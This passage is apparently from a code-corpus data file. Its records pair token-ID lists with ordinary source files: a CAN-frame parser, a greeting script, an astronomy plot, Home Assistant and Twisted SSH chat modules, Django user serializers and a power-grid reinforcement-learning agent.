1950,
4128,
13,
4706,
8653,
3017,
10933,
29889,
2272,
1065,
2154,
448,
29894,
29941,
4833,
29918,
3167,
29918,
2098,
1192,
2154,
29899,
5085,
13,
4706,
470,
13,
4706,
8653,
3017,
10933,
29889,
2272,
1065,
2154,
448,
29894,
29941,
4833,
29918,
3167,
29918,
2098,
1192,
2154,
29899,
5085,
13271,
13,
13,
4706,
8695,
373,
11842,
9331,
13,
4706,
334,
1939,
6273,
448,
674,
451,
437,
738,
4833,
11217,
29889,
13,
4706,
334,
13271,
313,
6194,
29897,
448,
674,
1889,
278,
1881,
848,
29892,
2599,
11217,
29889,
13,
1678,
14550,
13,
1678,
1889,
29918,
1272,
353,
2069,
29918,
5014,
29918,
1272,
29898,
5085,
29897,
13,
1678,
565,
1889,
29918,
1272,
29889,
657,
877,
2704,
29374,
13,
4706,
10876,
29889,
13322,
29898,
5014,
29918,
1272,
1839,
2704,
11287,
13,
1678,
1889,
29918,
1272,
353,
10127,
29918,
2080,
29918,
12322,
29898,
5014,
29918,
1272,
29897,
13,
1678,
565,
1889,
29918,
1272,
29889,
657,
877,
2704,
29374,
13,
4706,
10876,
29889,
13322,
29898,
5014,
29918,
1272,
1839,
2704,
11287,
13,
1678,
954,
29918,
5325,
353,
1246,
29918,
5014,
29898,
5014,
29918,
1272,
29897,
13,
1678,
1596,
29898,
29888,
29915,
5504,
278,
1797,
363,
6471,
470,
14880,
29879,
29901,
1353,
310,
2066,
29901,
426,
1949,
29918,
5325,
29913,
1495,
13,
13,
13,
1753,
2069,
29918,
5014,
29918,
1272,
29898,
5085,
1125,
13,
1678,
14550,
402,
1624,
2472,
363,
16696,
12753,
29892,
297,
1797,
304,
2767,
278,
2566,
14550,
13,
1678,
13271,
353,
7700,
13,
1678,
565,
17727,
29889,
22051,
29918,
8618,
29928,
297,
6389,
29901,
13,
4706,
736,
285,
29915,
29912,
3075,
1934,
29889,
22051,
29918,
8618,
29928,
29913,
338,
8340,
363,
445,
1889,
29915,
13,
1678,
565,
17727,
29889,
4897,
25832,
4214,
297,
6389,
29901,
13,
4706,
13271,
353,
5852,
13,
1678,
2643,
353,
1243,
29918,
1454,
29918,
12523,
29898,
5085,
29892,
13271,
29897,
13,
1678,
565,
2643,
2804,
525,
554,
2396,
13,
4706,
736,
11117,
2704,
2396,
2643,
29913,
13,
1678,
736,
4607,
267,
29918,
3166,
29918,
5085,
29898,
786,
26747,
29897,
13,
13,
13,
1753,
1243,
29918,
1454,
29918,
12523,
29898,
5085,
29892,
13271,
1125,
13,
1678,
525,
29923,
1983,
1973,
278,
1959,
1353,
322,
18240,
310,
4128,
6169,
13,
1678,
2643,
353,
285,
29915,
2392,
29991,
1763,
1784,
6389,
470,
2743,
6389,
29892,
6389,
1275,
426,
5085,
10162,
13,
1678,
565,
7431,
29898,
5085,
29897,
1405,
29871,
29896,
29901,
13,
4706,
736,
2643,
13,
1678,
565,
7431,
29898,
5085,
29897,
1275,
29871,
29896,
322,
451,
13271,
29901,
13,
4706,
736,
2643,
13,
1678,
565,
2295,
877,
25838,
8193,
1164,
13780,
1495,
2804,
525,
25431,
2396,
13,
4706,
736,
525,
4013,
1889,
338,
263,
5849,
871,
1889,
29915,
13,
1678,
736,
525,
554,
29915,
13,
13,
13,
1753,
4607,
267,
29918,
3166,
29918,
5085,
29898,
786,
26747,
1125,
13,
1678,
14550,
7106,
515,
2069,
1889,
848,
14550,
13,
1678,
736,
426,
13,
4706,
525,
786,
26747,
2396,
13271,
29892,
13,
1678,
500,
13,
13,
13,
1753,
10127,
29918,
2080,
29918,
12322,
29898,
5014,
29918,
1272,
1125,
13,
1678,
14550,
450,
1889,
322,
2066,
8839,
373,
278,
1889,
848,
14550,
13,
1678,
1889,
29918,
1272,
1839,
2080,
29918,
12322,
2033,
353,
17727,
29889,
1177,
12336,
29918,
4986,
29918,
4897,
25832,
1001,
29918,
1254,
15488,
29918,
4690,
21661,
13,
1678,
1889,
29918,
1272,
1839,
1990,
2033,
353,
12994,
10234,
6422,
7514,
13,
1678,
736,
1889,
29918,
1272,
13,
13,
13,
1753,
1246,
29918,
5014,
29898,
5014,
29918,
1272,
1125,
13,
1678,
14550,
14517,
740,
411,
1959,
5717,
304,
3619,
26113,
1549,
4390,
2066,
740,
14550,
13,
1678,
954,
353,
1702,
29918,
20907,
29889,
7888,
29918,
20678,
29918,
5325,
29918,
1454,
29918,
2585,
29918,
786,
15190,
29898,
5215,
29918,
20907,
29889,
5504,
29918,
26956,
29879,
29918,
5504,
29918,
2098,
29892,
13,
462,
462,
462,
4706,
1889,
29918,
1272,
29897,
13,
1678,
736,
954,
13,
2
] |
Examples/pcan_parser.py | Legohead259/PCAN-RS232-Interface | 0 | 84884 | def parse_frame_message(msg:str):
"""
Parses a CAN message sent from the PCAN module over the serial bus
Example: 't1234DEADBEEF' - standard (11-bit) identifier message frame
'R123456784' - extended (29-bit) identifier request frame
Returns a tuple with type, ID, size, and message
Example: ('t', '00000123', '4', 'DEADBEEF')
('R', '00000123', '4')
"""
_type = msg[0:1] # type is the first character of the message
_ext = _type == 'T' or _type == 'R' # Determine if the message is an extended (29-bit) identifier frame
_rtr = _type.lower() == 'r' # Determine if the message is a request frame
_id = msg[1:4] if not _ext else msg[1:9] # Grab the ID depending on length of it (type-dependent)
_id = _id.zfill(8)
_size = msg[4:5] if not _ext else msg[9:10] # Grab the data size
if not _rtr:
_data = msg[5:5+int(_size)*2+1] if not _ext else msg[10:10+int(_size)*2+1] # Get the message data bytes depending on the size indicated by _size
else:
_data = ""
return(_type, _id, _size, _data)
print(parse_frame_message('t1234DEADBEEF'))
print(parse_frame_message('T000001234DEADBEEF'))
print(parse_frame_message('r1234'))
print(parse_frame_message('R000001234')) | [
1,
822,
6088,
29918,
2557,
29918,
4906,
29898,
7645,
29901,
710,
1125,
13,
1678,
9995,
13,
1678,
1459,
29879,
267,
263,
315,
2190,
2643,
2665,
515,
278,
9609,
2190,
3883,
975,
278,
7797,
3593,
13,
1678,
8741,
29901,
525,
29873,
29896,
29906,
29941,
29946,
2287,
3035,
15349,
29638,
29915,
448,
3918,
313,
29896,
29896,
29899,
2966,
29897,
15882,
2643,
3515,
13,
632,
525,
29934,
29896,
29906,
29941,
29946,
29945,
29953,
29955,
29947,
29946,
29915,
1678,
448,
10410,
313,
29906,
29929,
29899,
2966,
29897,
15882,
2009,
3515,
13,
1678,
16969,
263,
18761,
411,
1134,
29892,
3553,
29892,
2159,
29892,
322,
2643,
13,
1678,
8741,
29901,
6702,
29873,
742,
525,
29900,
29900,
29900,
29900,
29900,
29896,
29906,
29941,
742,
525,
29946,
742,
525,
2287,
3035,
15349,
29638,
1495,
13,
632,
6702,
29934,
742,
525,
29900,
29900,
29900,
29900,
29900,
29896,
29906,
29941,
742,
525,
29946,
1495,
13,
1678,
9995,
13,
13,
1678,
903,
1853,
353,
10191,
29961,
29900,
29901,
29896,
29962,
396,
1134,
338,
278,
937,
2931,
310,
278,
2643,
13,
1678,
903,
1062,
353,
903,
1853,
1275,
525,
29911,
29915,
470,
903,
1853,
1275,
525,
29934,
29915,
396,
5953,
837,
457,
565,
278,
2643,
338,
385,
10410,
313,
29906,
29929,
29899,
2966,
29897,
15882,
3515,
13,
1678,
903,
29878,
509,
353,
903,
1853,
29889,
13609,
580,
1275,
525,
29878,
29915,
396,
5953,
837,
457,
565,
278,
2643,
338,
263,
2009,
3515,
13,
1678,
903,
333,
353,
10191,
29961,
29896,
29901,
29946,
29962,
565,
451,
903,
1062,
1683,
10191,
29961,
29896,
29901,
29929,
29962,
396,
22351,
278,
3553,
8679,
373,
3309,
310,
372,
313,
1853,
29899,
18980,
29897,
13,
1678,
903,
333,
353,
903,
333,
29889,
29920,
5589,
29898,
29947,
29897,
13,
1678,
903,
2311,
353,
10191,
29961,
29946,
29901,
29945,
29962,
565,
451,
903,
1062,
1683,
10191,
29961,
29929,
29901,
29896,
29900,
29962,
396,
22351,
278,
848,
2159,
13,
1678,
565,
451,
903,
29878,
509,
29901,
13,
4706,
903,
1272,
353,
10191,
29961,
29945,
29901,
29945,
29974,
524,
7373,
2311,
11877,
29906,
29974,
29896,
29962,
565,
451,
903,
1062,
1683,
10191,
29961,
29896,
29900,
29901,
29896,
29900,
29974,
524,
7373,
2311,
11877,
29906,
29974,
29896,
29962,
396,
3617,
278,
2643,
848,
6262,
8679,
373,
278,
2159,
18694,
491,
903,
2311,
13,
1678,
1683,
29901,
13,
4706,
903,
1272,
353,
5124,
13,
1678,
736,
7373,
1853,
29892,
903,
333,
29892,
903,
2311,
29892,
903,
1272,
29897,
13,
13,
2158,
29898,
5510,
29918,
2557,
29918,
4906,
877,
29873,
29896,
29906,
29941,
29946,
2287,
3035,
15349,
29638,
8785,
13,
2158,
29898,
5510,
29918,
2557,
29918,
4906,
877,
29911,
29900,
29900,
29900,
29900,
29900,
29896,
29906,
29941,
29946,
2287,
3035,
15349,
29638,
8785,
13,
2158,
29898,
5510,
29918,
2557,
29918,
4906,
877,
29878,
29896,
29906,
29941,
29946,
8785,
13,
2158,
29898,
5510,
29918,
2557,
29918,
4906,
877,
29934,
29900,
29900,
29900,
29900,
29900,
29896,
29906,
29941,
29946,
8785,
2
] |
python/programas simples/saudacao.py | Don616/pratica | 0 | 60462 | """
Faça um programa que pergunte a hora para o usuário e, se baseando no horário descrito, exiba a saudação apropriada.
"""
hora = input("Que horas são aí? ")
if hora.isnumeric():
hora = int(hora)
else:
print("Por favor, digite somente números.")
if hora < 0 or hora > 23:
print("Horário inválido")
elif hora <= 5:
print(f"Ainda é de madrugada, são {hora} horas, então podemos considerar boa noite!")
elif hora >= 6 and hora <= 11:
print(f"Bom dia! Agora são {hora} horas.")
elif hora >= 12 and hora <= 17:
print(f"Boa tarde! Agora são {hora} horas da tarde.")
else:
print(f"Boa noite! Agora são {hora} horas da noite.")
| [
1,
9995,
13,
14206,
4277,
1922,
16914,
712,
639,
29887,
17316,
263,
298,
2207,
1702,
288,
502,
29884,
12288,
321,
29892,
409,
2967,
1743,
694,
4029,
12288,
5153,
9296,
29892,
429,
16912,
263,
872,
6191,
2340,
263,
7728,
374,
1114,
29889,
13,
15945,
29908,
13,
13,
15255,
353,
1881,
703,
8654,
4029,
294,
12777,
263,
29983,
29973,
16521,
13,
13,
361,
298,
2207,
29889,
275,
21574,
7295,
13,
1678,
298,
2207,
353,
938,
29898,
15255,
29897,
13,
2870,
29901,
13,
1678,
1596,
703,
29925,
272,
7853,
29892,
4697,
568,
1047,
2016,
12158,
359,
23157,
13,
361,
298,
2207,
529,
29871,
29900,
470,
298,
2207,
1405,
29871,
29906,
29941,
29901,
13,
1678,
1596,
703,
17241,
12288,
2437,
2464,
1941,
1159,
13,
23681,
298,
2207,
5277,
29871,
29945,
29901,
13,
1678,
1596,
29898,
29888,
29908,
29909,
11054,
904,
316,
10395,
11124,
1114,
29892,
12777,
426,
15255,
29913,
4029,
294,
29892,
28087,
13279,
7681,
2050,
279,
1045,
29874,
694,
568,
29991,
1159,
13,
23681,
298,
2207,
6736,
29871,
29953,
322,
298,
2207,
5277,
29871,
29896,
29896,
29901,
13,
1678,
1596,
29898,
29888,
29908,
29933,
290,
9766,
29991,
4059,
2207,
12777,
426,
15255,
29913,
4029,
294,
23157,
13,
23681,
298,
2207,
6736,
29871,
29896,
29906,
322,
298,
2207,
5277,
29871,
29896,
29955,
29901,
13,
1678,
1596,
29898,
29888,
29908,
8431,
29874,
17666,
29991,
4059,
2207,
12777,
426,
15255,
29913,
4029,
294,
1146,
17666,
23157,
13,
2870,
29901,
29871,
13,
1678,
1596,
29898,
29888,
29908,
8431,
29874,
694,
568,
29991,
4059,
2207,
12777,
426,
15255,
29913,
4029,
294,
1146,
694,
568,
23157,
13,
2
] |
XMM/PlotRGSFluxed.py | ZGainsforth/InterstellarXAS | 0 | 128163 | <gh_stars>0
from astropy. io import fits
import matplotlib.pyplot as plt
from astroquery.simbad import Simbad
# from astroquery.esa.xmm_newton import XMMNewton
targetname = '<NAME>'
Simbad.add_votable_fields('distance')
target = Simbad.query_object(targetname)
# XMMNewton.download_data('0084020401', level='PPS', extension='FTZ', name='FLUXED', filename='result0084020401.tar.gz')
print(f'Distance to {targetname} = {target["Distance_distance"][0]} {target["Distance_unit"][0]}')
x = fits.open('P0084020401RGX000FLUXED1025.ftz')
print(x.info())
plt.plot(x[1].data.field('CHANNEL'), x[1].data.field('FLUX'))
plt.xlabel(x[1].header['TUNIT1'])
plt.ylabel(x[1].header['TUNIT2'])
plt.show()
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
3166,
8717,
14441,
29889,
12013,
1053,
23994,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
3166,
8717,
307,
1972,
29889,
3601,
12313,
1053,
3439,
12313,
13,
29937,
515,
8717,
307,
1972,
29889,
8625,
29889,
29916,
4317,
29918,
1482,
880,
1053,
1060,
7428,
4373,
880,
13,
13,
5182,
978,
353,
12801,
5813,
16299,
13,
13,
8942,
12313,
29889,
1202,
29918,
29894,
327,
519,
29918,
9621,
877,
19244,
1495,
13,
5182,
353,
3439,
12313,
29889,
1972,
29918,
3318,
29898,
5182,
978,
29897,
13,
13,
29937,
1060,
7428,
4373,
880,
29889,
10382,
29918,
1272,
877,
29900,
29900,
29947,
29946,
29900,
29906,
29900,
29946,
29900,
29896,
742,
3233,
2433,
29925,
7024,
742,
6081,
2433,
7818,
29999,
742,
1024,
2433,
10536,
29965,
29990,
3352,
742,
10422,
2433,
2914,
29900,
29900,
29947,
29946,
29900,
29906,
29900,
29946,
29900,
29896,
29889,
12637,
29889,
18828,
1495,
13,
13,
13,
2158,
29898,
29888,
29915,
27469,
304,
426,
5182,
978,
29913,
353,
426,
5182,
3366,
27469,
29918,
19244,
3108,
29961,
29900,
12258,
426,
5182,
3366,
27469,
29918,
5441,
3108,
29961,
29900,
12258,
1495,
13,
13,
29916,
353,
23994,
29889,
3150,
877,
29925,
29900,
29900,
29947,
29946,
29900,
29906,
29900,
29946,
29900,
29896,
29934,
29954,
29990,
29900,
29900,
29900,
10536,
29965,
29990,
3352,
29896,
29900,
29906,
29945,
29889,
615,
29920,
1495,
13,
13,
2158,
29898,
29916,
29889,
3888,
3101,
13,
13,
572,
29873,
29889,
5317,
29898,
29916,
29961,
29896,
1822,
1272,
29889,
2671,
877,
3210,
2190,
29940,
6670,
5477,
921,
29961,
29896,
1822,
1272,
29889,
2671,
877,
10536,
29965,
29990,
8785,
13,
572,
29873,
29889,
29916,
1643,
29898,
29916,
29961,
29896,
1822,
6672,
1839,
29911,
3904,
1806,
29896,
11287,
13,
572,
29873,
29889,
29891,
1643,
29898,
29916,
29961,
29896,
1822,
6672,
1839,
29911,
3904,
1806,
29906,
11287,
13,
572,
29873,
29889,
4294,
580,
13,
2
] |
appdaemon/settings/apps/test.py | monster1025/home-assistant | 0 | 191185 | # -*- coding: utf-8 -*-
import appdaemon.plugins.hass.hassapi as hass
from notification import send_notification
import datetime
import sys, locale
import logging, codecs
import os
#import unicode
# from automation import Automation # type: ignore
"""
Monitor events and output changes to the verbose_log. Nice for debugging purposes.
Arguments:
- events: List of events to monitor
"""
class Test(hass.Hass):
def initialize(self) -> None:
self.log(u"Привет")
self.log(str(u'ô'))
# id = send_notification(
# self, targets="telegram_monster", message="Repeated message", title="title", when=datetime.datetime.now(), interval=10, iterations=2
# )
# self.log("id:{}".format(id))
# id = send_notification(
# self, targets="telegram_monster", message="Dummy", title="title"
# )
def terminate(self):
self.log('terminate')
# for listen_event_handle in self.listen_event_handle_list:
# self.cancel_listen_event(listen_event_handle)
| [
1,
396,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
5215,
623,
1388,
9857,
29889,
12800,
29889,
29882,
465,
29889,
29882,
465,
2754,
408,
298,
465,
13,
3166,
12519,
1053,
3638,
29918,
24671,
13,
5215,
12865,
13,
5215,
10876,
29892,
15068,
13,
5215,
12183,
29892,
775,
2395,
13,
5215,
2897,
13,
29937,
5215,
29104,
13,
29937,
515,
3345,
362,
1053,
15854,
362,
29871,
396,
1134,
29901,
11455,
13,
13,
15945,
29908,
13,
7185,
2105,
4959,
322,
1962,
3620,
304,
278,
26952,
29918,
1188,
29889,
20103,
363,
13490,
11976,
29889,
13,
26915,
29901,
13,
448,
4959,
29901,
2391,
310,
4959,
304,
11819,
13,
15945,
29908,
13,
1990,
4321,
29898,
29882,
465,
29889,
29950,
465,
1125,
13,
1678,
822,
11905,
29898,
1311,
29897,
1599,
6213,
29901,
13,
4706,
1583,
29889,
1188,
29898,
29884,
29908,
30013,
641,
7616,
1159,
13,
4706,
1583,
29889,
1188,
29898,
710,
29898,
29884,
29915,
30069,
8785,
13,
4706,
396,
1178,
353,
3638,
29918,
24671,
29898,
13,
4706,
396,
268,
1583,
29892,
22525,
543,
15494,
1393,
29918,
3712,
2475,
613,
2643,
543,
1123,
412,
630,
2643,
613,
3611,
543,
3257,
613,
746,
29922,
12673,
29889,
12673,
29889,
3707,
3285,
7292,
29922,
29896,
29900,
29892,
24372,
29922,
29906,
13,
4706,
396,
1723,
13,
4706,
396,
1583,
29889,
1188,
703,
333,
29901,
8875,
1642,
4830,
29898,
333,
876,
13,
4706,
396,
1178,
353,
3638,
29918,
24671,
29898,
13,
4706,
396,
268,
1583,
29892,
22525,
543,
15494,
1393,
29918,
3712,
2475,
613,
2643,
543,
29928,
11770,
613,
3611,
543,
3257,
29908,
13,
4706,
396,
1723,
13,
13,
1678,
822,
29504,
29898,
1311,
1125,
13,
4706,
1583,
29889,
1188,
877,
18821,
403,
1495,
13,
4706,
396,
363,
11621,
29918,
3696,
29918,
8411,
297,
1583,
29889,
20631,
29918,
3696,
29918,
8411,
29918,
1761,
29901,
13,
4706,
396,
268,
1583,
29889,
20713,
29918,
20631,
29918,
3696,
29898,
20631,
29918,
3696,
29918,
8411,
29897,
13,
632,
13,
2
] |
realm.py | syndbg/ssh-chat | 6 | 184398 | <reponame>syndbg/ssh-chat
from twisted.conch.avatar import ConchUser
from twisted.conch.insults import insults
from twisted.conch.interfaces import IConchUser, ISession
from twisted.conch.ssh import session
from twisted.cred.portal import IRealm
from twisted.python import log
from zope.interface import implementer
from protocol import ChatProtocol, ChatProtocolFactory
factory = ChatProtocolFactory()
@implementer(ISession)
class ChatAvatar(ConchUser):
def __init__(self, username):
ConchUser.__init__(self)
self.username = username
self.channelLookup.update({'session': session.SSHSession})
def openShell(self, protocol):
server_protocol = insults.ServerProtocol(ChatProtocol, self, None)
server_protocol.makeConnection(protocol)
protocol.makeConnection(session.wrapProtocol(server_protocol))
server_protocol = factory
def getPty(self, terminal, window_size, attrs):
return None
def execCommand(self, protocol, cmd):
raise NotImplementedError
def closed(self):
log.msg('{0} session got closed'.format(self.username))
@implementer(IRealm)
class ChatRealm:
def requestAvatar(self, avatarId, mind, *interfaces):
if IConchUser not in interfaces:
raise NotImplementedError('No supported interfaces found.')
return interfaces[0], ChatAvatar(avatarId), lambda: None
| [
1,
529,
276,
1112,
420,
29958,
29879,
29891,
299,
16264,
29914,
15269,
29899,
13496,
13,
3166,
3252,
12652,
29889,
535,
305,
29889,
485,
14873,
1053,
1281,
305,
2659,
13,
3166,
3252,
12652,
29889,
535,
305,
29889,
1144,
499,
29879,
1053,
1663,
499,
29879,
13,
3166,
3252,
12652,
29889,
535,
305,
29889,
1639,
8726,
1053,
306,
1168,
305,
2659,
29892,
306,
7317,
13,
3166,
3252,
12652,
29889,
535,
305,
29889,
15269,
1053,
4867,
13,
3166,
3252,
12652,
29889,
11944,
29889,
25089,
1053,
306,
1123,
17120,
13,
3166,
3252,
12652,
29889,
4691,
1053,
1480,
13,
3166,
503,
2300,
29889,
13248,
1053,
2334,
261,
13,
13,
3166,
9608,
1053,
678,
271,
17830,
29892,
678,
271,
17830,
5126,
13,
13,
13,
14399,
353,
678,
271,
17830,
5126,
580,
13,
13,
29992,
326,
2037,
261,
29898,
3235,
1211,
29897,
13,
1990,
678,
271,
29909,
9046,
279,
29898,
1168,
305,
2659,
1125,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
8952,
1125,
13,
4706,
1281,
305,
2659,
17255,
2344,
12035,
1311,
29897,
13,
4706,
1583,
29889,
6786,
353,
8952,
13,
4706,
1583,
29889,
12719,
14959,
786,
29889,
5504,
3319,
29915,
7924,
2396,
4867,
29889,
1799,
29950,
7317,
1800,
13,
13,
1678,
822,
1722,
16037,
29898,
1311,
29892,
9608,
1125,
13,
4706,
1923,
29918,
20464,
353,
1663,
499,
29879,
29889,
6004,
17830,
29898,
1451,
271,
17830,
29892,
1583,
29892,
6213,
29897,
13,
4706,
1923,
29918,
20464,
29889,
5675,
5350,
29898,
20464,
29897,
13,
4706,
9608,
29889,
5675,
5350,
29898,
7924,
29889,
6312,
17830,
29898,
2974,
29918,
20464,
876,
13,
4706,
1923,
29918,
20464,
353,
12529,
13,
13,
1678,
822,
679,
29925,
1017,
29898,
1311,
29892,
8638,
29892,
3474,
29918,
2311,
29892,
12421,
29879,
1125,
13,
4706,
736,
6213,
13,
13,
1678,
822,
2279,
6255,
29898,
1311,
29892,
9608,
29892,
9920,
1125,
13,
4706,
12020,
2216,
1888,
2037,
287,
2392,
13,
13,
1678,
822,
5764,
29898,
1311,
1125,
13,
4706,
1480,
29889,
7645,
877,
29912,
29900,
29913,
4867,
2355,
5764,
4286,
4830,
29898,
1311,
29889,
6786,
876,
13,
13,
13,
29992,
326,
2037,
261,
29898,
29902,
1123,
17120,
29897,
13,
1990,
678,
271,
1123,
17120,
29901,
13,
13,
1678,
822,
2009,
29909,
9046,
279,
29898,
1311,
29892,
1029,
14873,
1204,
29892,
3458,
29892,
334,
1639,
8726,
1125,
13,
4706,
565,
306,
1168,
305,
2659,
451,
297,
19510,
29901,
13,
9651,
12020,
2216,
1888,
2037,
287,
2392,
877,
3782,
6969,
19510,
1476,
29889,
1495,
13,
4706,
736,
19510,
29961,
29900,
1402,
678,
271,
29909,
9046,
279,
29898,
485,
14873,
1204,
511,
14013,
29901,
6213,
13,
2
] |
accounts/api/serializers.py | loafbaker/django_blog | 0 | 168254 | <reponame>loafbaker/django_blog
from django.contrib.auth import get_user_model
from rest_framework import serializers
User = get_user_model()
class UserCreateSerializer(serializers.ModelSerializer):
email = serializers.EmailField(allow_blank=False)
email2 = serializers.EmailField(label='Confirm Email', write_only=True)
class Meta:
model = User
fields = [
'username',
'email',
'email2',
'password',
]
extra_kwargs = {
'password': {
'write_only': True,
'style': {'input_type': 'password'},
},
}
def validate_email(self, value):
user_qs = User.objects.filter(email=value)
if user_qs.exists():
raise serializers.ValidationError('This email has already been registered.')
return value
def validate_email2(self, value):
data = self.get_initial()
email = data.get('email')
if email != value:
raise serializers.ValidationError('Email must match.')
return value
def create(self, validated_data):
username = validated_data['username']
email = validated_data['email']
password = validated_data['password']
user = User.objects.create_user(username, email, password)
return validated_data
class UserDetailSerializer(serializers.ModelSerializer):
class Meta:
model = User
fields = [
'username',
'first_name',
'last_name',
'date_joined',
'last_login',
] | [
1,
529,
276,
1112,
420,
29958,
417,
2142,
29890,
5790,
29914,
14095,
29918,
7312,
13,
3166,
9557,
29889,
21570,
29889,
5150,
1053,
679,
29918,
1792,
29918,
4299,
13,
13,
3166,
1791,
29918,
4468,
1053,
7797,
19427,
13,
13,
13,
2659,
353,
679,
29918,
1792,
29918,
4299,
580,
13,
13,
13,
1990,
4911,
4391,
17679,
29898,
15550,
19427,
29889,
3195,
17679,
1125,
13,
1678,
4876,
353,
7797,
19427,
29889,
9823,
3073,
29898,
9536,
29918,
19465,
29922,
8824,
29897,
13,
1678,
4876,
29906,
353,
7797,
19427,
29889,
9823,
3073,
29898,
1643,
2433,
16376,
3568,
22608,
742,
2436,
29918,
6194,
29922,
5574,
29897,
13,
1678,
770,
20553,
29901,
13,
4706,
1904,
353,
4911,
13,
4706,
4235,
353,
518,
13,
9651,
525,
6786,
742,
13,
9651,
525,
5269,
742,
13,
9651,
525,
5269,
29906,
742,
13,
9651,
525,
5630,
742,
13,
4706,
4514,
13,
4706,
4805,
29918,
19290,
353,
426,
13,
9651,
525,
5630,
2396,
426,
13,
18884,
525,
3539,
29918,
6194,
2396,
5852,
29892,
13,
18884,
525,
3293,
2396,
11117,
2080,
29918,
1853,
2396,
525,
5630,
16675,
13,
9651,
2981,
13,
4706,
500,
13,
13,
1678,
822,
12725,
29918,
5269,
29898,
1311,
29892,
995,
1125,
13,
4706,
1404,
29918,
29939,
29879,
353,
4911,
29889,
12650,
29889,
4572,
29898,
5269,
29922,
1767,
29897,
13,
4706,
565,
1404,
29918,
29939,
29879,
29889,
9933,
7295,
13,
9651,
12020,
7797,
19427,
29889,
19448,
2392,
877,
4013,
4876,
756,
2307,
1063,
15443,
29889,
1495,
13,
4706,
736,
995,
13,
13,
1678,
822,
12725,
29918,
5269,
29906,
29898,
1311,
29892,
995,
1125,
13,
4706,
848,
353,
1583,
29889,
657,
29918,
11228,
580,
13,
4706,
4876,
353,
848,
29889,
657,
877,
5269,
1495,
13,
4706,
565,
4876,
2804,
995,
29901,
13,
9651,
12020,
7797,
19427,
29889,
19448,
2392,
877,
9823,
1818,
1993,
29889,
1495,
13,
4706,
736,
995,
13,
13,
1678,
822,
1653,
29898,
1311,
29892,
2854,
630,
29918,
1272,
1125,
13,
4706,
8952,
353,
2854,
630,
29918,
1272,
1839,
6786,
2033,
13,
4706,
4876,
353,
2854,
630,
29918,
1272,
1839,
5269,
2033,
13,
4706,
4800,
353,
2854,
630,
29918,
1272,
1839,
5630,
2033,
13,
4706,
1404,
353,
4911,
29889,
12650,
29889,
3258,
29918,
1792,
29898,
6786,
29892,
4876,
29892,
4800,
29897,
13,
4706,
736,
2854,
630,
29918,
1272,
13,
13,
1990,
4911,
16570,
17679,
29898,
15550,
19427,
29889,
3195,
17679,
1125,
13,
1678,
770,
20553,
29901,
13,
4706,
1904,
353,
4911,
13,
4706,
4235,
353,
518,
13,
9651,
525,
6786,
742,
13,
9651,
525,
4102,
29918,
978,
742,
13,
9651,
525,
4230,
29918,
978,
742,
13,
9651,
525,
1256,
29918,
2212,
1312,
742,
13,
9651,
525,
4230,
29918,
7507,
742,
13,
4706,
4514,
2
] |
examples/NeurIPS2020-Learning-to-Run-a-Power-Network-Challenge/track2/agent.py | lp2333/PARL | 3,172 | 155832 | # Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from powernet_model import PowerNetModel
from es import ES
from es_agent import ESAgent
from tqdm import tqdm
import copy
import numpy as np
from copy import deepcopy
from utils import process
import parl
import paddle.fluid as fluid
from parl import layers
class Track2PowerNetAgent(object):
def __init__(self, action_space):
"""Initialize a new agent."""
self.action_space = action_space
self.actions = []
actions_vec = np.load("./saved_files/top1000_actions.npz")["actions"]
for i in range(actions_vec.shape[0]):
act = action_space.from_vect(actions_vec[i])
self.actions.append(act)
self.actions = self.actions[:1000]
self.act_num = len(self.actions)
self.sub_ids = np.load('./saved_files/sub_id_info.npz')['sub_ids']
self.do_nothing_action = action_space({})
self.origin_ids = range(len(self.actions))
offset = action_space.n_line
self.action_to_sub_topo = {}
for sub_id, sub_elem_num in enumerate(action_space.sub_info):
self.action_to_sub_topo[sub_id] = (offset, offset + sub_elem_num)
offset += sub_elem_num
self.step = 0
model = PowerNetModel()
algorithm = ES(model)
self.es_agent = ESAgent(algorithm)
self.es_agent.restore(save_path='./saved_files', filename='model.ckpt')
self.to_print_data = []
self.last_disconnect_step = -100
self.last_diconnect_line = None
self.simulation_times = 0
def simulate_do_nothing(self, observation):
init_to_maintain_lines = np.where((observation.time_next_maintenance>0) \
& (observation.time_next_maintenance<9))[0]
to_check_action = self.do_nothing_action
to_maintain_lines = []
for line_id in init_to_maintain_lines:
if observation.line_status[line_id]:
to_maintain_lines.append(line_id)
# we do not disconnect the only line in advance
if len(to_maintain_lines) == 1:
rest_step = observation.time_next_maintenance[to_maintain_lines[0]]
if rest_step > 1:
to_maintain_lines = []
else: # we only maintain the first line in `to_maintain_lines`
to_maintain_lines = to_maintain_lines[:1]
if len(to_maintain_lines
) != 0 and self.step - self.last_disconnect_step > 3:
line_status = []
for line_id in to_maintain_lines:
line_status.append((line_id, -1))
to_check_action = self.action_space({
'set_line_status': line_status
})
obs_simulate, reward_simulate, done_simulate, info_simulate = observation.simulate(
to_check_action)
observation._obs_env._reset_to_orig_state()
else:
obs_simulate, reward_simulate, done_simulate, info_simulate = observation.simulate(
to_check_action)
observation._obs_env._reset_to_orig_state()
return obs_simulate, done_simulate, to_check_action, to_maintain_lines
def find_unaccessible_pos(self, to_check_action):
if to_check_action == self.do_nothing_action:
return []
lines = to_check_action.as_dict()['set_line_status']['disconnected_id']
arr = []
for line_id in lines:
arr.append((line_id, 1))
act = self.action_space({
"set_bus": {
"lines_ex_id": arr,
"lines_or_id": arr
}
})
pos = np.where(act._set_topo_vect != 0)[0]
return pos
def avoid_overflow(self, observation, reset_action=None):
if reset_action is None:
obs_simulate, done_simulate, to_check_action, to_maintain_lines = self.simulate_do_nothing(
observation)
else:
to_check_action = reset_action
to_maintain_lines = []
obs_simulate, reward_simulate, done_simulate, info_simulate = observation.simulate(
to_check_action)
observation._obs_env._reset_to_orig_state()
has_overflow = False
if observation is not None and not any(np.isnan(observation.rho)):
has_overflow = any(observation.rho > 1.0) or any(
